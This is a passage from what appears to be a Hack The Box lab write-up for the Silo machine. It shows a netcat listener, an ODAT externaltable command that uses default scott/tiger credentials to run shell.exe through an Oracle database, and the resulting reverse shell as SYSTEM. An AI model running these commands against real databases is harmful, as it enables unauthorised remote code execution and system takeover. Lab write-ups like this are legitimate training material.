that using the externaltable module in ODAT. 110 | 111 | First setup a listener on the attack machine to receive the reverse shell. 112 | 113 | ``` 114 | nc -lvnp 1234 115 | ``` 116 | 117 | ``` 118 | python3 odat.py externaltable -s 10.10.10.82 -p 1521 -U "scott" -P "tiger" -d XE --exec /temp shell.exe --sysdba 119 | ``` 120 | 121 | The database must have been running with SYSTEM privileges and so we got a shell as `SYSTEM`. 122 | 123 | ``` 124 | ┌──(darshan㉿kali)-[~/Desktop/HackTheBox/Windows-boxes] 125 | └─$ nc -lvnp 1234 126 | listening on [any] 9999 ... 127 | connect to [10.10.16.6] from (UNKNOWN) [10.10.10.82] 49202 128 | Windows PowerShell running as user SILO$ on SILO 129 | Copyright (C) 2015 Microsoft Corporation. All rights reserved. 130 | 131 | PS C:\oraclexe\app\oracel\product\11.2.0\server>whoami 132 | whoami 133 | nt authority\system 134 | ``` 135 | 136 | The database must have been running with SYSTEM privileges and so we got a shell as SYSTEM. 137 | 138 | So we can grab both the flags. 139 | --------------------------------------------------------------------------------